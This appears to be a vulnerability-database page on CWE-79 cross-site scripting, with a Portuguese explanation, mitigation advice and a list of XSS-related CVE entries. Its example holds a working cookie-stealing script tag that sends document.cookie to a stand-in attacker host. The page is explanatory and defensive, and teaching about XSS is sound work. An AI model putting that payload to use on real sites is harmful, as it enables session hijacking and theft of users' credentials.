Fallos del tipo CWE-79

30.539 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-59760MEDIUMMultiple vulnerabilities in AndSoft's e-TMSEPSS 0.2%CVE-2025-59767MEDIUMMultiple vulnerabilities in AndSoft's e-TMSEPSS 0.2%CVE-2025-59026MEDIUMMalicious content uploaded as file can be used to execute script code when following attacker-controlled links. Unintended actions can be exEPSS 0.2%CVE-2025-30186MEDIUMMalicious content uploaded as file can be used to execute script code when following attacker-controlled links. Unintended actions can be exEPSS 0.2%CVE-2026-0868MEDIUMEMC Scheduling Manager <= 4.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via calendly ShortcodeEPSS 0.2%CVE-2026-38935MEDIUMA reflected cross-site scripting (XSS) vulnerability exists in diskover-community <= 2.3.5 in public/view.php via the doctype parameterEPSS 0.2%CVE-2025-40902MEDIUMHTML injection in Users in Guardian/CMC before 26.1.0EPSS 0.2%CVE-2025-10927MEDIUMPlausible tracking - Moderately critical - Cross Site Scripting - SA-CONTRIB-2025-107EPSS 0.2%CVE-2025-57973MEDIUMWordPress WP-Members Plugin <= 3.5.4.2 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2026-26272MEDIUMHomeBox affected by Stored XSS via HTML/SVG Attachment UploadEPSS 0.2%CVE-2025-40901MEDIUMHTML injection in Credentials Manager in Guardian/CMC before 26.1.0EPSS 0.2%CVE-2026-38936MEDIUMA reflected cross-site scripting (XSS) vulnerability exists in diskover-community <= 2.3.5 in public/selectindices.php via the namecontains EPSS 0.2%CVE-2023-38375MEDIUMIBM Cloud Pak System Cross-Site ScriptingEPSS 0.2%CVE-2026-23613MEDIUMGFI MailEssentials AI < 22.4 Anti-Spam URI DNS Blocklist Domain Stored XSSEPSS 0.2%CVE-2025-59751MEDIUMMultiple vulnerabilities in AndSoft's e-TMSEPSS 0.2%CVE-2025-59762MEDIUMMultiple vulnerabilities in AndSoft's e-TMSEPSS 0.2%CVE-2026-88963MEDIUMTutor LMS <= 4.0.8 - Authenticated (Subscriber+) Reflected DOM-Based Cross-Site Scripting via 'redirect_url' ParameterEPSS 0.2%CVE-2025-59750MEDIUMMultiple vulnerabilities in AndSoft's e-TMSEPSS 0.2%CVE-2025-10853MEDIUMReflected Cross-Site Scripting (XSS) in Management Console of Multiple WSO2 Products Due to Improper Output EncodingEPSS 0.2%CVE-2025-59759MEDIUMMultiple vulnerabilities in AndSoft's e-TMSEPSS 0.2%